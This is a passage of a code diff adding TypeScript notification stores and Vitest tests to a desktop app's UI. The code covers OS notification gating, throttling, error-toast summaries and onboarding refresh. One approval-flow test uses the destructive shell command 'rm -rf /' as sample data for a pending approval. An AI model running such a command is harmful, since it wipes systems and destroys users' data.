+    setNativeNotifyEnabled(false)
+    dispatchNativeNotification({ kind: 'approval', sessionId: freshSession(), title: 'approve' })
+    dispatchNativeNotification({ kind: 'turnDone', sessionId: freshSession(), title: 'done' })
+    expect(notify).not.toHaveBeenCalled()
+  })
+
+  it('suppresses only the disabled kind', () => {
+    const sessionId = freshSession()
+    setActiveSessionId(sessionId)
+    setNativeNotifyKind('turnDone', false)
+    dispatchNativeNotification({ kind: 'turnDone', sessionId, title: 'done' })
+    expect(notify).not.toHaveBeenCalled()
+
+    dispatchNativeNotification({ kind: 'turnError', sessionId, title: 'boom' })
+    expect(notify).toHaveBeenCalledTimes(1)
+  })
+
+  it('forwards kind and sessionId to the bridge', () => {
+    setActiveSessionId('abc')
+    dispatchNativeNotification({ body: 'hi', kind: 'turnError', sessionId: 'abc', title: 'boom' })
+    expect(notify).toHaveBeenCalledWith(
+      expect.objectContaining({ body: 'hi', kind: 'turnError', sessionId: 'abc', title: 'boom' })
+    )
+  })
+})
+
+describe('dispatchNativeNotification post-connect baseline', () => {
+  it('suppresses a prompt replayed right after a socket opens', () => {
+    markNativeNotifyBaseline()
+    dispatchNativeNotification({ kind: 'approval', sessionId: freshSession(), title: 'approve' })
+    expect(notify).not.toHaveBeenCalled()
+  })
+
+  it('suppresses a completion replayed right after a socket opens', () => {
+    const sessionId = freshSession()
+    setActiveSessionId(sessionId)
+    markNativeNotifyBaseline()
+    dispatchNativeNotification({ kind: 'turnDone', sessionId, title: 'done' })
+    expect(notify).not.toHaveBeenCalled()
+  })
+
+  it('fires again once the window has passed', () => {
+    vi.useFakeTimers()
+
+    try {
+      markNativeNotifyBaseline()
+      vi.advanceTimersByTime(5000)
+      dispatchNativeNotification({ kind: 'approval', sessionId: freshSession(), title: 'approve' })
+      expect(notify).toHaveBeenCalledTimes(1)
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+})
+
+describe('dispatchPluginNativeNotification', () => {
+  it('fires while the user is away and tags the plugin id for dedupe', () => {
+    dispatchPluginNativeNotification('index-network', { body: 'New match', title: 'Opportunity' })
+    expect(notify).toHaveBeenCalledWith(
+      expect.objectContaining({ body: 'New match', kind: 'plugin', tag: 'index-network', title: 'Opportunity' })
+    )
+  })
+
+  it('suppresses while the window is focused (the in-app toast covers foreground)', () => {
+    setWindowState({ focused: true, hidden: false })
+    dispatchPluginNativeNotification('focused-plugin', { title: 'Opportunity' })
+    expect(notify).not.toHaveBeenCalled()
+  })
+
+  it('is gated by the "plugin" kind preference', () => {
+    setNativeNotifyKind('plugin', false)
+    dispatchPluginNativeNotification('muted-plugin', { title: 'Opportunity' })
+    expect(notify).not.toHaveBeenCalled()
+  })
+
+  it('throttles per plugin, so two plugins cannot collapse each other', () => {
+    dispatchPluginNativeNotification('plugin-a', { title: 'a' })
+    dispatchPluginNativeNotification('plugin-a', { title: 'a again' })
+    dispatchPluginNativeNotification('plugin-b', { title: 'b' })
+    expect(notify).toHaveBeenCalledTimes(2)
+  })
+})
+
+describe('dispatchNativeNotification throttle', () => {
+  it('collapses duplicate kind+session within the throttle window', () => {
+    const sessionId = freshSession()
+    setActiveSessionId(sessionId)
+    dispatchNativeNotification({ kind: 'turnDone', sessionId, title: 'done' })
+    dispatchNativeNotification({ kind: 'turnDone', sessionId, title: 'done again' })
+    expect(notify).toHaveBeenCalledTimes(1)
+  })
+})
+
+describe('sendTestNativeNotification', () => {
+  it('fires regardless of focus or active session', () => {
+    setWindowState({ focused: true, hidden: false })
+    setActiveSessionId('on-screen')
+    sendTestNativeNotification('ClawCodex', 'works')
+    expect(notify).toHaveBeenCalledTimes(1)
+  })
+})
+
+describe('$activeSessionId wiring', () => {
+  it('reflects the setter used for gating', () => {
+    setActiveSessionId('xyz')
+    expect($activeSessionId.get()).toBe('xyz')
+  })
+})
+
+describe('respondToApprovalAction', () => {
+  const request = vi.fn().mockResolvedValue({ resolved: true })
+
+  beforeEach(() => {
+    request.mockClear()
+    $gateway.set({ request } as unknown as ReturnType<typeof $gateway.get>)
+  })
+
+  afterEach(() => {
+    $gateway.set(null)
+  })
+
+  it('approves via approval.respond {choice: "once"} and clears the prompt', async () => {
+    setActiveSessionId('bg')
+    setApprovalRequest({ command: 'rm -rf /', description: 'dangerous', sessionId: 'bg' })
+
+    await respondToApprovalAction('bg', 'approve')
+
+    expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'once', session_id: 'bg' })
+    expect($approvalRequest.get()).toBeNull()
+  })
+
+  it('rejects via approval.respond {choice: "deny"}', async () => {
+    await respondToApprovalAction('bg', 'reject')
+    expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'deny', session_id: 'bg' })
+  })
+
+  it('ignores unknown action ids', async () => {
+    await respondToApprovalAction('bg', 'snooze')
+    expect(request).not.toHaveBeenCalled()
+  })
+
+  it('no-ops without a gateway', async () => {
+    $gateway.set(null)
+    await respondToApprovalAction('bg', 'approve')
+    expect(request).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/store/native-notifications.ts b/ui-desktop/src/store/native-notifications.ts
new file mode 100644
index 000000000..823a38890
--- /dev/null
+++ b/ui-desktop/src/store/native-notifications.ts
@@ -0,0 +1,257 @@
+import { atom } from 'nanostores'
+
+import { persistString, storedString } from '@/lib/storage'
+
+import { $gateway } from './gateway'
+import { withinNativeNotifyBaseline } from './notify-baseline'
+import { clearApprovalRequest } from './prompts'
+import { $activeSessionId } from './session'
+
+// Native OS notifications (Electron `Notification`), separate from the in-app
+// toast feed in `notifications.ts`. Each kind toggles independently.
+export type NativeNotificationKind =
+  'approval' | 'backgroundDone' | 'credits' | 'input' | 'plugin' | 'turnDone' | 'turnError'
+
+export const NATIVE_NOTIFICATION_KINDS: readonly NativeNotificationKind[] = [
+  'approval',
+  'input',
+  'turnDone',
+  'turnError',
+  'backgroundDone',
+  'credits',
+  'plugin'
+]
+
+// Blocking prompts — surface even while focused if they're for another session.
+const ATTENTION_KINDS = new Set<NativeNotificationKind>(['approval', 'input'])
+
+export interface NativeNotificationPrefs {
+  enabled: boolean
+  kinds: Record<NativeNotificationKind, boolean>
+}
+
+const STORAGE_KEY = 'clawcodex:native-notifications'
+
+const DEFAULT_PREFS: NativeNotificationPrefs = {
+  enabled: true,
+  kinds: {
+    approval: true,
+    backgroundDone: true,
+    credits: true,
+    input: true,
+    plugin: true,
+    turnDone: true,
+    turnError: true
+  }
+}
+
+function readPrefs(): NativeNotificationPrefs {
+  const raw = storedString(STORAGE_KEY)
+
+  if (!raw) {
+    return DEFAULT_PREFS
+  }
+
+  try {
+    const parsed = JSON.parse(raw) as Partial<NativeNotificationPrefs>
+    const kinds = { ...DEFAULT_PREFS.kinds }
+
+    for (const kind of NATIVE_NOTIFICATION_KINDS) {
+      const value = parsed.kinds?.[kind]
+
+      if (typeof value === 'boolean') {
+        kinds[kind] = value
+      }
+    }
+
+    return {
+      enabled: typeof parsed.enabled === 'boolean' ? parsed.enabled : DEFAULT_PREFS.enabled,
+      kinds
+    }
+  } catch {
+    return DEFAULT_PREFS
+  }
+}
+
+export const $nativeNotifyPrefs = atom<NativeNotificationPrefs>(readPrefs())
+
+function writePrefs(next: NativeNotificationPrefs) {
+  $nativeNotifyPrefs.set(next)
+  persistString(STORAGE_KEY, JSON.stringify(next))
+}
+
+export function setNativeNotifyEnabled(enabled: boolean) {
+  writePrefs({ ...$nativeNotifyPrefs.get(), enabled })
+}
+
+export function setNativeNotifyKind(kind: NativeNotificationKind, on: boolean) {
+  const prev = $nativeNotifyPrefs.get()
+  writePrefs({ ...prev, kinds: { ...prev.kinds, [kind]: on } })
+}
+
+// De-dupe replayed events for the same kind+session. Self-evicting: entries
+// older than the window are pruned on every dispatch, so the map can't grow.
+const THROTTLE_MS = 1000
+const lastFiredAt = new Map<string, number>()
+
+function throttled(key: string, now: number): boolean {
+  for (const [k, at] of lastFiredAt) {
+    if (now - at >= THROTTLE_MS) {
+      lastFiredAt.delete(k)
+    }
+  }
+
+  if (lastFiredAt.has(key)) {
+    return true
+  }
+
+  lastFiredAt.set(key, now)
+
+  return false
+}
+
+// "Backgrounded" = the user isn't on ClawCodex. `document.hidden` only flips when
+// minimized/occluded; an alt-tabbed window is visible-but-unfocused, so we also
+// check `document.hasFocus()`.
+function isBackgrounded(): boolean {
+  if (typeof document === 'undefined') {
+    return false
+  }
+
+  if (document.hidden) {
+    return true
+  }
+
+  return typeof document.hasFocus === 'function' && !document.hasFocus()
+}
+
+function shouldFire(kind: NativeNotificationKind, sessionId?: null | string, global = false): boolean {
+  // Global notifications aren't tied to a chat session (e.g. pet generation,
+  // which runs from the command center with no active conversation). They fire
+  // whenever the user is away, with no session-match requirement — otherwise a
+  // background run started without an open session would be silently dropped.
+  if (global) {
+    return isBackgrounded()
+  }
+
+  // Attention kinds break through for an off-screen session even while focused.
+  if (ATTENTION_KINDS.has(kind)) {
+    return isBackgrounded() || (Boolean(sessionId) && sessionId !== $activeSessionId.get())
+  }
+
+  // Completion kinds: only the active session, only while away — so a busy
+  // gateway (messaging, kanban, cron) can't spam a toast per background session.
+  return isBackgrounded() && Boolean(sessionId) && sessionId === $activeSessionId.get()
+}
+
+export interface NativeNotificationAction {
+  id: string
+  text: string
+}
+
+export interface NativeNotificationInput {
+  kind: NativeNotificationKind
+  title: string
+  body?: string
+  sessionId?: null | string
+  /**
+   * Not tied to a chat session (e.g. pet generation). Fires whenever the user
+   * is away, bypassing the session-match gate that completion kinds normally
+   * require.
+   */
+  global?: boolean
+  silent?: boolean
+  actions?: NativeNotificationAction[]
+  /**
+   * Extra throttle/dedupe discriminator for session-less notifications (e.g.
+   * the plugin id), so unrelated emitters of the same kind don't collapse
+   * into one another. Never drives click-to-focus like `sessionId` does.
+   */
+  tag?: string
+}
+
+export function dispatchNativeNotification(input: NativeNotificationInput): void {
+  const prefs = $nativeNotifyPrefs.get()
+
+  if (!prefs.enabled || !prefs.kinds[input.kind]) {
+    return
+  }
+
+  if (withinNativeNotifyBaseline()) {
+    return
+  }
+
+  if (!shouldFire(input.kind, input.sessionId, input.global)) {
+    return
+  }
+
+  if (throttled(`${input.kind}:${input.sessionId ?? input.tag ?? (input.global ? 'global' : '')}`, Date.now())) {
+    return
+  }
+
+  void window.clawcodexDesktop?.notify({
+    actions: input.actions,
+    body: input.body,
+    kind: input.kind,
+    sessionId: input.sessionId ?? undefined,
+    silent: input.silent,
+    tag: input.tag,
+    title: input.title
+  })
+}
+
+// -- the plugin door (`ctx.os.notify`) ----------------------------------------
+
+export interface PluginNativeNotificationInput {
+  title: string
+  body?: string
+  silent?: boolean
+}
+
+/** Native OS notification on behalf of a plugin. One "Plugin notifications"
+ *  preference gates all plugins; the plugin id keys throttling/dedupe so two
+ *  plugins can't collapse each other's notifications. Fires only while the
+ *  user is away from ClawCodex — the in-app toast (`host.notify`) covers the
+ *  foreground case. */
+export function dispatchPluginNativeNotification(pluginId: string, input: PluginNativeNotificationInput): void {
+  dispatchNativeNotification({ ...input, global: true, kind: 'plugin', tag: pluginId })
+}
+
+// Resolve a pending approval from a notification button, mirroring the in-app
+// Run/Reject bar. Keyed by session id — a background approval has no local guard.
+export async function respondToApprovalAction(sessionId: null | string, actionId: string): Promise<void> {
+  const choice = actionId === 'approve' ? 'once' : actionId === 'reject' ? 'deny' : null
+
+  if (!choice) {
+    return
+  }
+
+  const gateway = $gateway.get()
+
+  if (!gateway) {
+    return
+  }
+
+  try {
+    await gateway.request('approval.respond', { choice, session_id: sessionId ?? undefined })
+    clearApprovalRequest(sessionId)
+  } catch {
+    // Leave the prompt parked so the user can still resolve it in-app.
+  }
+}
+
+// Settings "send test" — bypasses gating. Returns whether the OS accepted it so
+// the panel can flag a silent permission failure instead of looking dead.
+export async function sendTestNativeNotification(title: string, body: string): Promise<boolean> {
+  const bridge = window.clawcodexDesktop
+
+  if (!bridge?.notify) {
+    return false
+  }
+
+  try {
+    return await bridge.notify({ body, kind: 'turnDone', title })
+  } catch {
+    return false
+  }
+}
diff --git a/ui-desktop/src/store/notifications.test.ts b/ui-desktop/src/store/notifications.test.ts
new file mode 100644
index 000000000..e11ed82b4
--- /dev/null
+++ b/ui-desktop/src/store/notifications.test.ts
@@ -0,0 +1,57 @@
+import { beforeEach, expect, test } from 'vitest'
+
+import { $notifications, clearNotifications, isDiskFullErrorMessage, notifyError } from './notifications'
+
+beforeEach(() => {
+  clearNotifications()
+})
+
+function lastMessage(): string {
+  return $notifications.get()[0]?.message ?? ''
+}
+
+// Regression for #39365: a gateway auth 401 (bad API_SERVER_KEY) must not be
+// summarized as a provider (OpenAI/OpenRouter) API key problem.
+test('gateway_auth_failed error is summarized as gateway auth, not provider key', () => {
+  notifyError(
+    new Error(
+      '401 {"error": {"message": "Invalid gateway API key (API_SERVER_KEY)", "type": "gateway_auth_error", "code": "gateway_auth_failed"}}'
+    ),
+    'Request failed'
+  )
+
+  expect(lastMessage()).toContain('API_SERVER_KEY')
+  expect(lastMessage()).not.toMatch(/OpenAI/i)
+})
+
+test('provider invalid_api_key error still maps to the OpenAI summary', () => {
+  notifyError(
+    new Error('401 {"error": {"message": "Incorrect API key provided", "code": "invalid_api_key"}}'),
+    'Request failed'
+  )
+
+  expect(lastMessage()).toMatch(/OpenAI rejected the API key/i)
+})
+
+test('disk-full / ENOSPC errors toast a free-space message', () => {
+  expect(isDiskFullErrorMessage('OSError: [Errno 28] No space left on device')).toBe(true)
+  expect(isDiskFullErrorMessage('sqlite3.OperationalError: database or disk is full')).toBe(true)
+  expect(isDiskFullErrorMessage('disk full: session storage could not be written — free some disk space')).toBe(true)
+  expect(isDiskFullErrorMessage('This is often a full disk — free some space')).toBe(true)
+  expect(isDiskFullErrorMessage('session storage could not be written: permission denied')).toBe(false)
+  expect(isDiskFullErrorMessage('network timeout')).toBe(false)
+
+  notifyError(new Error('OSError: [Errno 28] No space left on device: state.db'), 'Prompt failed')
+
+  expect(lastMessage()).toMatch(/Disk full/i)
+  expect(lastMessage()).toMatch(/free some space/i)
+})
+
+test('session storage write failure is treated as disk-full class', () => {
+  notifyError(
+    new Error('disk full: session storage could not be written — free some disk space and try again'),
+    'Prompt failed'
+  )
+
+  expect(lastMessage()).toMatch(/Disk full/i)
+})
diff --git a/ui-desktop/src/store/notifications.ts b/ui-desktop/src/store/notifications.ts
new file mode 100644
index 000000000..3709b8fe6
--- /dev/null
+++ b/ui-desktop/src/store/notifications.ts
@@ -0,0 +1,221 @@
+import { atom } from 'nanostores'
+
+import { translateNow } from '@/i18n'
+
+export type NotificationKind = 'error' | 'warning' | 'info' | 'success'
+
+export interface NotificationAction {
+  label: string
+  onClick: () => void
+}
+
+export type NotificationPlacement = 'default' | 'bottom-right'
+
+export interface AppNotification {
+  id: string
+  kind: NotificationKind
+  /** When set, renders this codicon instead of the default kind icon. */
+  icon?: string
+  /** When set, tints the icon and message with this CSS color (severity ramp). */
+  accentColor?: string
+  /** Secondary detail line rendered below the message, muted (e.g. "$220.00 cap"). */
+  meta?: string
+  title?: string
+  message: string
+  detail?: string
+  action?: NotificationAction
+  onDismiss?: () => void
+  createdAt: number
+  placement?: NotificationPlacement
+}
+
+export interface NotificationInput {
+  id?: string
+  kind?: NotificationKind
+  icon?: string
+  accentColor?: string
+  meta?: string
+  title?: string
+  message: string
+  detail?: string
+  action?: NotificationAction
+  onDismiss?: () => void
+  durationMs?: number
+  placement?: NotificationPlacement
+}
+
+let notificationCounter = 0
+const timers = new Map<string, number>()
+
+export const $notifications = atom<AppNotification[]>([])
+
+function defaultDuration(kind: NotificationKind) {
+  if (kind === 'error' || kind === 'warning') {
+    return 0
+  }
+
+  return 5_000
+}
+
+// Only interruptions worth a top-center toast: errors, warnings, and anything
+// with an action button the user needs to notice and click (restart gateway,
+// update available, sign-in prompts). Everything else — the bulk of routine
+// "saved"/"enabled"/"archived" confirmations across settings, MCP, cron,
+// profiles, messaging — is ambient feedback and defaults to a quiet
+// bottom-right toast instead. Callers can still force `placement: 'default'`
+// for a specific case.
+function defaultPlacement(kind: NotificationKind, action?: NotificationAction): NotificationPlacement {
+  if (kind === 'error' || kind === 'warning' || action) {
+    return 'default'
+  }
+
+  return 'bottom-right'
+}
+
+function cleanErrorText(value: string) {
+  return value.replace(/^Error:\s*/, '').trim()
+}
+
+/** True when an error string is a disk-full / ENOSPC / SQLITE_FULL failure. */
+export function isDiskFullErrorMessage(message: string): boolean {
+  return (
+    /no space left on device/i.test(message) ||
+    /not enough space/i.test(message) ||
+    /database or disk is full/i.test(message) ||
+    /\bENOSPC\b/i.test(message) ||
+    /disk full/i.test(message) ||
+    /full disk/i.test(message)
+  )
+}
+
+const ERROR_SUMMARIES: { test: (msg: string) => boolean; summarize: (msg: string) => string }[] = [
+  {
+    // Disk full / ENOSPC — session DB write, backend crash, or any path that
+    // bubbles "no space left" / SQLITE_FULL through notifyError. Match before
+    // generic length truncation so the user gets a clear "free space" toast
+    // instead of a silent send or a raw errno dump.
+    test: isDiskFullErrorMessage,
+    summarize: () => translateNow('notifications.errors.diskFull')
+  },
+  {
+    test: msg => /['"]code['"]\s*:\s*['"]gateway_auth_failed['"]/i.test(msg),
+    summarize: () => translateNow('notifications.errors.gatewayAuthFailed')
+  },
+  {
+    test: msg => /incorrect api key provided/i.test(msg) || /['"]code['"]\s*:\s*['"]invalid_api_key['"]/i.test(msg),
+    summarize: msg => {
+      const status = msg.match(/(?:error code|status(?:Code)?)[^\d]*(\d{3})/i)?.[1]
+
+      return status
+        ? translateNow('notifications.errors.openaiRejectedApiKeyWithStatus', status)
+        : translateNow('notifications.errors.openaiRejectedApiKey')
+    }
+  },
+  {
+    test: msg => /neither voice_tools_openai_key nor openai_api_key is set/i.test(msg),
+    summarize: () => translateNow('notifications.errors.openaiTtsNeedsKey')
+  },
+  {
+    test: msg => /ELEVENLABS_API_KEY not set/i.test(msg) || /ElevenLabs STT API error \(HTTP 401\)/i.test(msg),
+    summarize: msg =>
+      /ELEVENLABS_API_KEY not set/i.test(msg)
+        ? translateNow('notifications.errors.elevenLabsNeedsKey')
+        : translateNow('notifications.errors.elevenLabsRejectedKey')
+  },
+  {
+    test: msg => /method not allowed/i.test(msg),
+    summarize: () => translateNow('notifications.errors.methodNotAllowed')
+  },
+  {
+    test: msg => /microphone permission/i.test(msg),
+    summarize: () => translateNow('notifications.errors.microphonePermission')
+  }
+]
+
+function summarizeErrorMessage(message: string, fallback: string) {
+  const rule = ERROR_SUMMARIES.find(r => r.test(message))
+
+  if (rule) {
+    return rule.summarize(message)
+  }
+
+  return message.length > 180 ? fallback : message || fallback
+}
+
+function readableError(error: unknown, fallback: string): { message: string; detail?: string } {
+  const raw = error instanceof Error ? error.message : typeof error === 'string' ? error : fallback
+  const unwrapped = raw.match(/Error invoking remote method '[^']+': Error: (.+)$/)?.[1] ?? raw
+  const cleaned = cleanErrorText(unwrapped)
+  const detail = cleaned.match(/"detail"\s*:\s*"([^"]+)"/)?.[1] ?? cleaned
+  const summary = summarizeErrorMessage(detail, fallback)
+
+  return { message: summary, detail: detail === summary ? undefined : detail }
+}
+
+export function notify(input: NotificationInput): string {
+  const kind = input.kind ?? 'info'
+  const id = input.id ?? `${Date.now()}-${notificationCounter++}`
+
+  const notification: AppNotification = {
+    id,
+    kind,
+    icon: input.icon,
+    accentColor: input.accentColor,
+    meta: input.meta,
+    title: input.title,
+    message: input.message,
+    detail: input.detail,
+    action: input.action,
+    onDismiss: input.onDismiss,
+    createdAt: Date.now(),
+    placement: input.placement ?? defaultPlacement(kind, input.action)
+  }
+
+  window.clearTimeout(timers.get(id))
+  timers.delete(id)
+  $notifications.set([notification, ...$notifications.get().filter(item => item.id !== id)].slice(0, 4))
+
+  const duration = input.durationMs ?? defaultDuration(kind)
+
+  if (duration > 0) {
+    timers.set(
+      id,
+      window.setTimeout(() => dismissNotification(id), duration)
+    )
+  }
+
+  return id
+}
+
+export function notifyError(error: unknown, fallback: string): string {
+  const readable = readableError(error, fallback)
+
+  return notify({
+    kind: 'error',
+    title: fallback,
+    message: readable.message,
+    detail: readable.detail
+  })
+}
+
+export function dismissNotification(id: string) {
+  window.clearTimeout(timers.get(id))
+  timers.delete(id)
+  const dismissed = $notifications.get().find(item => item.id === id)
+  $notifications.set($notifications.get().filter(item => item.id !== id))
+  dismissed?.onDismiss?.()
+}
+
+export function clearNotifications() {
+  for (const timer of timers.values()) {
+    window.clearTimeout(timer)
+  }
+
+  timers.clear()
+  const all = $notifications.get()
+  $notifications.set([])
+
+  for (const item of all) {
+    item.onDismiss?.()
+  }
+}
diff --git a/ui-desktop/src/store/notify-baseline.ts b/ui-desktop/src/store/notify-baseline.ts
new file mode 100644
index 000000000..abb8a2373
--- /dev/null
+++ b/ui-desktop/src/store/notify-baseline.ts
@@ -0,0 +1,30 @@
+// Post-connect quiet window for native (OS) notifications.
+//
+// A socket opening replays state that already existed: a session parked on an
+// approval re-emits its request so the UI can render the prompt. Those are not
+// things that just happened, so launching ClawCodex — or any reconnect, profile
+// switch, or gateway-mode apply — would otherwise fire an OS notification for a
+// prompt the user has known about for an hour. The in-app surfaces (sidebar
+// row, inline approval bar) still show the prompt immediately; only the OS
+// notification is held.
+//
+// Lives in its own leaf module so `store/gateway` (which marks the baseline)
+// and `store/native-notifications` (which reads it) don't import each other.
+
+const SEED_QUIET_MS = 4000
+
+let quietUntil = 0
+
+/** Called on every gateway `open`. Opens the quiet window. */
+export function markNativeNotifyBaseline(): void {
+  quietUntil = Date.now() + SEED_QUIET_MS
+}
+
+/** True while replayed post-connect state should not raise an OS notification. */
+export function withinNativeNotifyBaseline(): boolean {
+  return Date.now() < quietUntil
+}
+
+export function __resetNativeNotifyBaselineForTests(): void {
+  quietUntil = 0
+}
diff --git a/ui-desktop/src/store/onboarding.test.ts b/ui-desktop/src/store/onboarding.test.ts
new file mode 100644
index 000000000..3f388c148
--- /dev/null
+++ b/ui-desktop/src/store/onboarding.test.ts
@@ -0,0 +1,593 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import * as notifications from '@/store/notifications'
+import type { OAuthProvider } from '@/types/clawcodex'
+
+import {
+  $desktopOnboarding,
+  type DesktopOnboardingState,
+  type OnboardingContext,
+  refreshOnboarding,
+  requestDesktopOnboarding,
+  saveOnboardingLocalEndpoint,
+  submitOnboardingCode
+} from './onboarding'
+
+function provider(id: string, name = id): OAuthProvider {
+  return {
+    cli_command: `clawcodex login ${id}`,
+    docs_url: `https://example.com/${id}`,
+    flow: 'pkce',
+    id,
+    name,
+    status: { logged_in: false }
+  }
+}
+
+function baseState(overrides: Partial<DesktopOnboardingState> = {}): DesktopOnboardingState {
+  return {
+    configured: false,
+    flow: { status: 'idle' },
+    mode: 'oauth',
+    providers: null,
+    reason: null,
+    requested: false,
+    firstRunSkipped: false,
+    manual: false,
+    localEndpoint: false,
+    ...overrides
+  }
+}
+
+function installApiMock(api: (request: { path: string }) => Promise<unknown>) {
+  Object.defineProperty(window, 'clawcodexDesktop', {
+    configurable: true,
+    value: { api }
+  })
+}
+
+function emptyOpenRouterGateway(): OnboardingContext['requestGateway'] {
+  return async method => {
+    if (method === 'setup.status') {
+      return { provider_configured: true } as never
+    }
+
+    if (method === 'setup.runtime_check') {
+      return { error: 'No usable credentials found for openrouter.', ok: false, provider: 'openrouter' } as never
+    }
+
+    throw new Error(`unexpected gateway method: ${method}`)
+  }
+}
+
+function keylessCustomGateway(): OnboardingContext['requestGateway'] {
+  return async method => {
+    if (method === 'setup.status') {
+      return { provider_configured: true } as never
+    }
+
+    if (method === 'setup.runtime_check') {
+      return { ok: true, provider: 'custom' } as never
+    }
+
+    throw new Error(`unexpected gateway method: ${method}`)
+  }
+}
+
+function onboardingContext(requestGateway: OnboardingContext['requestGateway']): OnboardingContext {
+  return { requestGateway }
+}
+
+function fallbackTimeoutGateway(): OnboardingContext['requestGateway'] {
+  return async method => {
+    if (method === 'setup.status' || method === 'setup.runtime_check') {
+      throw new Error(`request timed out: ${method}`)
+    }
+
+    throw new Error(`unexpected gateway method: ${method}`)
+  }
+}
+
+describe('refreshOnboarding', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    $desktopOnboarding.set(baseState())
+  })
+
+  afterEach(() => {
+    window.localStorage.clear()
+    $desktopOnboarding.set(baseState())
+    vi.restoreAllMocks()
+  })
+
+  it('refreshes OAuth providers again when onboarding was explicitly requested', async () => {
+    const api = vi.fn(async ({ path }: { path: string }) => {
+      if (path === '/api/providers/oauth') {
+        return { providers: [provider('fresh')] }
+      }
+
+      throw new Error(`unexpected api path: ${path}`)
+    })
+
+    installApiMock(api)
+    $desktopOnboarding.set(baseState({ providers: [provider('cached')] }))
+    requestDesktopOnboarding('Need provider setup')
+
+    const ready = await refreshOnboarding(onboardingContext(emptyOpenRouterGateway()))
+
+    expect(ready).toBe(false)
+    expect(api).toHaveBeenCalledTimes(1)
+    expect($desktopOnboarding.get().providers?.map(p => p.id)).toEqual(['fresh'])
+    expect($desktopOnboarding.get().reason).toContain('No usable credentials found for openrouter.')
+    expect($desktopOnboarding.get().reason).toContain('setup.status reports configured credentials')
+  })
+
+  it('keeps cached providers when onboarding was not re-requested', async () => {
+    const api = vi.fn(async ({ path }: { path: string }) => {
+      if (path === '/api/providers/oauth') {
+        return { providers: [provider('fresh')] }
+      }
+
+      throw new Error(`unexpected api path: ${path}`)
+    })
+
+    installApiMock(api)
+    $desktopOnboarding.set(baseState({ providers: [provider('cached')] }))
+
+    const ready = await refreshOnboarding(onboardingContext(emptyOpenRouterGateway()))
+
+    expect(ready).toBe(false)
+    expect(api).not.toHaveBeenCalled()
+    expect($desktopOnboarding.get().providers?.map(p => p.id)).toEqual(['cached'])
+  })
+
+  it('does not downgrade configured=true on fallback-only readiness failures', async () => {
+    const api = vi.fn(async ({ path }: { path: string }) => {
+      if (path === '/api/providers/oauth') {
+        return { providers: [provider('fresh')] }
+      }
+
+      throw new Error(`unexpected api path: ${path}`)
+    })
+
+    installApiMock(api)
+    // Simulate a returning user: cache is set and store is configured.
+    window.localStorage.setItem('clawcodex-desktop-onboarded-v1', '1')
+    $desktopOnboarding.set(
+      baseState({
+        configured: true,
+        providers: [provider('cached')],
+        reason: null,
+        requested: false
+      })
+    )
+
+    const ready = await refreshOnboarding(onboardingContext(fallbackTimeoutGateway()))
+
+    expect(ready).toBe(false)
+    expect(api).not.toHaveBeenCalled()
+    expect($desktopOnboarding.get().configured).toBe(true)
+    expect($desktopOnboarding.get().reason).toBeNull()
+    // The cache must survive the refresh — proving we didn't downgrade.
+    expect(window.localStorage.getItem('clawcodex-desktop-onboarded-v1')).toBe('1')
+  })
+
+  it('shows a non-blocking notification when preserving configured on fallback', async () => {
+    const notifySpy = vi.spyOn(notifications, 'notify')
+
+    installApiMock(vi.fn())
+    $desktopOnboarding.set(
+      baseState({
+        configured: true,
+        providers: [provider('cached')],
+        reason: null,
+        requested: false
+      })
+    )
+
+    await refreshOnboarding(onboardingContext(fallbackTimeoutGateway()))
+
+    expect(notifySpy).toHaveBeenCalledWith(
+      expect.objectContaining({
+        id: 'runtime-not-ready',
+        kind: 'error'
+      })
+    )
+    expect($desktopOnboarding.get().configured).toBe(true)
+  })
+
+  it('enters setup when the selected OpenRouter credential is genuinely empty', async () => {
+    installApiMock(vi.fn())
+    window.localStorage.setItem('clawcodex-desktop-onboarded-v1', '1')
+    $desktopOnboarding.set(
+      baseState({
+        configured: true,
+        providers: [provider('cached')],
+        reason: null,
+        requested: false
+      })
+    )
+
+    const ready = await refreshOnboarding(onboardingContext(emptyOpenRouterGateway()))
+
+    expect(ready).toBe(false)
+    expect($desktopOnboarding.get().configured).toBe(false)
+    expect($desktopOnboarding.get().reason).toContain('No usable credentials found for openrouter.')
+    expect(window.localStorage.getItem('clawcodex-desktop-onboarded-v1')).toBeNull()
+  })
+
+  it('keeps a keyless custom runtime out of setup', async () => {
+    const api = vi.fn()
+
+    installApiMock(api)
+    $desktopOnboarding.set(baseState({ configured: false, reason: 'stale setup error', requested: true }))
+
+    const ready = await refreshOnboarding(onboardingContext(keylessCustomGateway()))
+
+    expect(ready).toBe(true)
+    expect(api).not.toHaveBeenCalled()
+    expect($desktopOnboarding.get()).toMatchObject({
+      configured: true,
+      reason: null,
+      requested: false
+    })
+  })
+
+  it('does not preserve configured when onboarding was explicitly requested', async () => {
+    const api = vi.fn(async ({ path }: { path: string }) => {
+      if (path === '/api/providers/oauth') {
+        return { providers: [provider('fresh')] }
+      }
+
+      throw new Error(`unexpected api path: ${path}`)
+    })
+
+    installApiMock(api)
+    $desktopOnboarding.set(
+      baseState({
+        configured: true,
+        providers: [provider('cached')],
+        reason: null,
+        requested: true
+      })
+    )
+
+    const ready = await refreshOnboarding(onboardingContext(fallbackTimeoutGateway()))
+
+    expect(ready).toBe(false)
+    // requested overrides preservation — should downgrade.
+    expect($desktopOnboarding.get().configured).toBe(false)
+    expect(api).toHaveBeenCalledTimes(1)
+  })
+
+  it('still surfaces onboarding when fallback failure happens before configured state', async () => {
+    const api = vi.fn(async ({ path }: { path: string }) => {
+      if (path === '/api/providers/oauth') {
+        return { providers: [provider('fresh')] }
+      }
+
+      throw new Error(`unexpected api path: ${path}`)
+    })
+
+    installApiMock(api)
+    $desktopOnboarding.set(baseState({ configured: false, providers: null, requested: true }))
+
+    const ready = await refreshOnboarding(onboardingContext(fallbackTimeoutGateway()))
+
+    expect(ready).toBe(false)
+    expect(api).toHaveBeenCalledTimes(1)
+    expect($desktopOnboarding.get().configured).toBe(false)
+    expect($desktopOnboarding.get().reason).toContain('request timed out')
+  })
+
+  it('deduplicates concurrent provider refresh calls', async () => {
+    let resolveProviders!: (value: { providers: OAuthProvider[] }) => void
+
+    const providersPromise = new Promise<{ providers: OAuthProvider[] }>(resolve => {
